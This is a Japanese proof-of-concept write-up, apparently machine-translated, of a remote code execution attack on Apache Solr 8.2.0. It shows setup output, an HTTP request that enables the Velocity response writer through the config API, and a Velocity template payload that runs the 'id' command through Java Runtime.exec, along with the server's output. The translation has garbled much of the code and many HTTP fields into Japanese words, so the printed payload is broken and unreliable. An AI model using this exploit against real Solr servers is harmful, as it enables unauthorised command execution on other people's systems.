参考リンク:
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
https://lucene.apache.org/solr/guide/8_2/config-api.html
https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
0x01の環境設定
C:\ Solrの-8.2.0 \ binに λは8983 -p開始solr.cmd は、Java HotSpot(TM)64ビットサーバーVMの警告を:それはメモリ内のページのロックへの十分な権限を持っていないため、JVMはラージ・ページ・メモリーを使用することはできません。 デフォルトGBKを使用し、続けて、プロパティ「sun.stderr.encoding」の文字セット「cp65001」を取得できません。Solrには、ポート8983で実行されている見るために30まで待っ ポート8983.ハッピー検索での開始のSolrサーバ! C:\ Solrの-8.2.0 \ binに λsolr.cmdは-c test111の作成 警告:データ駆動型のスキーマ機能と_defaultのconfigsetを使用します。本番使用はお勧めしません。 オフにするには:ビン\ Solrの設定-c test111 -p 8983 -actionセットユーザプロパティ-property update.autoCreateFields -値はfalseを デフォルトGBKを使用し、続けて、プロパティ「sun.stderr.encoding」の文字セット「cp65001」を取得できません。 作成した新しいコア'test111' C:\ Solrの-8.2.0 \ binに
0x02のテストペイロード
最初の要求を送信します
POST / Solrの/ test111 / configにHTTP / 1.1 ホスト:Solrの:8983 のContent-Type:アプリケーション/ JSONの コンテンツの長さ:259 { "更新queryresponsewriter":{ "スタートアップ": "怠惰"、 "名": "速度" 、 "クラス": "solr.VelocityResponseWriter"、 "template.base.dir": ""、 "solr.resource.loader.enabled": "真"、 "params.resource.loader.enabled": ""真 } }
HTTP / 1.1 200 OK のContent-Type:text / plainの;のcharset = UTF-8 のContent-Length:150 { "responseHeader":{ "ステータス":0、 "QTIME":9574}、 "警告":「この応答フォーマット実験的である。これは、将来的に変更される可能性があります。 "}
第2の要求を送ります
/solr/test111/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27javaをGET。 lang.Runtimeの%27))+%23set($ CHR = $ x.class.forName(%27java.lang.Character%27))+%23set($ STR = $ x.class.forName(%の27java.lang。文字列%27))+%23set($元= $ rt.getRuntime()。execの(%27id%27))+ $ ex.waitFor()+%23set($アウト= $ ex.getInputStream())+% 23foreach(+で$ I + [1 .. $ out.available()])$ str.valueOf($ chr.toChars($ out.read()))%23end HTTP / 1.1 ホスト:ローカルホスト:8983
HTTP / 1.1 200 OK
のContent-Type:text / htmlの;のcharset = UTF-8 のContent-Length:58 0 UID = 197608(lzhd24)GID = 197121基= 197121
0x03のペイロード解析
#set($ X = '' ) の#set($ RT = $ X。クラス .forName( 'java.lang.Runtime' )) の#set($ CHR = $ X。クラス .forName( 'java.lang.Characterの' )) の#set($ STR = $ X。クラス .forName(' java.lang.Stringで」)) の#set($ EX = $ rt.getRuntime()。EXEC( 'ID'))+ $ ex.waitFor () の#set($アウト = $ ex.getInputStream()) #foreach($ I +で+ [1 .. $ out.available()])$ str.valueOf($ chr.toChars($ out.read() )) #END